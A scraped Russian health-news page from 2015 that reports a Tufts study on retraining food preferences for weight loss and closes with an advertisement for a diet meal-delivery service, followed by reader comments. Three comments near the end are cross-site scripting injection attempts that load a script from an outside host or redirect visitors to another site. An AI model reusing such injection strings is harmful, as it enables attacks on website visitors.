Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Как заставить мозг есть п...  >>  Как заставить мозг есть правильную еду и худеть?
 
Обратная связь
 

Как заставить мозг есть правильную еду и худеть?

Размер шрифта
09 апреля 2015 00:00
Юрий Малышев
Здоровье инфо
Александр Чистяков
Здоровье инфо
  • google_analytics: false
  • Нравится

Хотите похудеть, но ненавидите здоровую еду? Предпочитаете фаст-фуд? Оказывается, с этим легко справиться, ведь наш мозг можно перепрограммировать, благодаря чему все полезные продукты будут казаться очень вкусными.

Как заставить мозг есть правильную еду и худеть?

В исследовании, проведенном в Университете Тафтса, приняли участие восемь пациентов с избыточным весом и ожирением. Все они были включены в новую лечебную программу, которая должна была помочь им изменить свое восприятие различных блюд. Пациенты из контрольной группы также страдали избыточным весом, но при этом не принимали участия в программе, а вели свой обычный образ жизни.

Участникам из обеих групп была проведена магнитно-резонансная томография перед началом исследования, а затем еще раз через шесть месяцев. Ученые обнаружили, что у пациентов из первой группы произошли изменения в тех областях мозга, которые отвечают за обучение и формирование привязанностей. В частности, нервные клетки данной области продемонстрировали повышенную чувствительность к восприятию здоровой, низкокалорийной пищи и сниженную – к высококалорийным продуктам.

Результаты этого эксперимента были опубликованы в журнале Nutrition & Diabetes. «Нет таких людей, которые любят картошку фри или ненавидят цельнозерновые продукты с самого рождения», – рассказывает Сьюзан Робертс из Университета Тафтса, ведущий автор исследования. «Наши вкусовые предпочтения формируются со временем, в зависимости от того, что мы едим», – объясняет она.

«Хотя исследования показали, что операции на желудке могут помочь людям с избыточным весом, а также уменьшить удовольствие, которое эти пациенты получают от принятия пищи, это все же не лучший метод. Гораздо более эффективной для таких пациентов станет новая методика, ведь благодаря ей здоровая пища будет казаться вкуснее и привлекательнее», – считает доктор Тило Декерсбах, психолог из Бостона.

«Мы доказали, что можем изменить вкусовые предпочтения людей, заставить их полюбить полезные продукты и преодолеть тягу к фаст-фуду, при этом не прибегая к операции. Магнитно-резонансная томография – наиболее подходящий метод для определения подобных изменений», – добавляет Декерсбах. Разумеется, необходимы дальнейшие исследования этой методики, чтобы начать применять ее в клинической практике.

Это исследование еще раз напоминает, насколько важно придерживаться правильного питания, чтобы поддерживать нормальный вес. И возможно уже в ближайшем будущем, благодаря стараниям ученых, питаться правильно станет очень просто.

Если вы хотите реально похудеть, то специально для вас создана Диета Елены Малышевой. Уже готовая правильная еда будет доставлена вам в любое место и время. Вам останется только есть и худеть!

Другие статьи о здоровом питании читайте на страницах нашего специального проекта «Сбрось лишнее».

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - Гость

09 апреля 2015 в 11:56

Цитировать   |   Пожаловаться

Бесполезая статья, абсолютно только информативная....как рекламка, никакой конкретики и практических советов, тк сказатт новости из мира открытий, от которвых ни горячо, ни холодно...

2 - Гость

10 апреля 2015 в 08:40

Цитировать   |   Пожаловаться

Как похудеть.как заставить мозг....? Как тут похудеешь, если зарплаты хватает только на хлеб и макароны,а если ещё купить диету Елены Малышевой(безмерно уважаю эту женщину),то весь месяц дети останутся голодными! 

3 - Елена

12 апреля 2015 в 12:07

Комментарий удален за нарушение Правил общения

4 - Гость

16 апреля 2015 в 16:39

Комментарий удален за нарушение Правил общения

5 - zzzzzz

30 июня 2015 в 18:23

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

6 - zzzzzz

30 июня 2015 в 21:20

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

7 - zzzzzz

30 июня 2015 в 22:15

Цитировать   |   Пожаловаться

-->> window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Как обмануть мозг, чтобы похудеть?   Гнев + голод = гневолод   Три типа ожирения   Как контролировать количество жира в теле  
11 октября 2013Елена Малышева расскажет все о том, как правильно худеть 31 мая 2013От инфаркта не убежать, но можно уйти! Новые данные говорят о том, что ходьба также эффективна, как бег, в борьбе с лишним весом!
 
21 мая 2013Когда я ем – я глух и нем! Ученые доказали, что это поможет похудеть! 27 февраля 2013Бурый жир поможет похудеть
 

Слайдшоу

1
5 ошибок, которые не дают вам быть стройной и красивой!
Как не сорваться на диете и похудеть?
Как устоять перед соблазнами?

Тесты

1
Какое мороженное съесть, чтобы похудеть
Есть ли у вас избыточный вес?
Жиры, которые мы едим
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.